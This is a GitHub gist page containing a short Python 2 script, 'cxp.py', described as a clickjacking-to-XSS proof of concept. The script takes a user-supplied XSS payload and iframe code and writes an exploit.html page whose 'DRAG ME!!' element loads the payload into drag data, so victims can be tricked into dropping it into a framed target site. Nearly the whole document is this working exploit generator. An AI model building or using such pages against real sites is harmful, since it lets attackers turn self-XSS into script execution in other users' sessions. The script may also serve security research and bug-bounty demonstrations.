Skip to content

Instantly share code, notes, and snippets.

@gujjuboy10x00

gujjuboy10x00/cxp.py

Forked from vishwaraj101/cxp.py
Created November 17, 2017 16:01
Show Gist options
  • Save gujjuboy10x00/2f5b1598109b7bd9dad6c9d39f17a911 to your computer and use it in GitHub Desktop.
Save gujjuboy10x00/2f5b1598109b7bd9dad6c9d39f17a911 to your computer and use it in GitHub Desktop.
Download ZIP
clickjack to xss poc
Raw
cxp.py
print "Clickjack to Xss"
vector=raw_input('xss vector--> ') #xss payload
html=raw_input('Custom Iframe Code--> ') #custom iframe code
fo=open('exploit.html','w') #creating html file
source_code="""<html><body>
<h1>Clickjack to exploit self xss </h1>
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '%s')"><h3>DRAG ME!!</h3></div>
"""%(vector)
fo.write(source_code)
fo=open('exploit.html','a')
fo.write(html)
fo.write('</body></html>')
fo.close() #closing the file
print "file created"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment